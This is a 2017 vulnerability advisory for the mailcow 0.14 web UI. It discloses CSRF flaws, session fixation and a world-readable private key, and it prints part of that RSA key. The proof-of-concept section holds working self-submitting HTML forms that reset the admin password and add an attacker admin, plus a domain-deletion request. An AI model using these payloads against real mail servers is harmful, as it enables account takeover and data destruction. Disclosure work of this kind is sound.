Mailcow 0.14 - Cross-Site Request Forgery

[+] Credits: John Page a.k.a hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt

[+] ISR: ApparitionSec            

 





Vendor:

=============

mailcow.email

mailcow.github.io







Product:

===========

The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.







Vulnerability Type:

===================

CSRF

Password Reset / Add Admin / Delete Domains







CVE Reference:

==============

CVE-2017-8928







Security Issue:

================

mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage

remote attackers can execute the following exploits.





1) reset admin password

2) add arbitrary admin

3) delete domains







Other issues found in mailcow are as follows:



Session fixation:

=================

Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.



ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication

ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication





World Readable Private key "key.pem"

====================================

john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami



john



john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem 



-----BEGIN RSA PRIVATE KEY-----

MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF

4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok

mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx

s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu

5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o

slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt

pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ



etc...





References:

============

https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd







Exploit/POC:

=============



[Admin Password Reset]



<form action="https://localhost/admin.php" method="post">

<input type="hidden" name="admin_user_now" value="admin">

<input type="hidden" name="admin_user" value="admin">

<input type="hidden" name="admin_pass" value="Abc12345">

<input type="hidden" name="admin_pass2" value="Abc12345">

<input type="hidden" name="trigger_set_admin" value="">

<script>document.forms[0].submit()</script>

</form>





HTTP Response:



'Changes to administrator have been saved"



//////////////////////





[Add Admin]



<form action="https://localhost/admin.php" method="post">

<input type="hidden" name="username" value="HELL">

<input type="hidden" name="password" value="Abc12345">

<input type="hidden" name="password2" value="Abc12345">

<input type="hidden" name="active" value="on">

<input type="hidden" name="trigger_add_domain_admin" value="localhost">

<script>document.forms[0].submit()</script>

</form>





////////////////////





[Delete domains]



https://localhost/mailbox.php

domain=myDomain&trigger_mailbox_action=deletedomain







Network Access:

===============

Remote







Severity:

=========

Medium







Disclosure Timeline:

=================================

Vendor Notification:  May 6, 2017

Vendor releases fix:  May 6, 2017

May 14, 2017  : Public Disclosure







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).



hyp3rlinx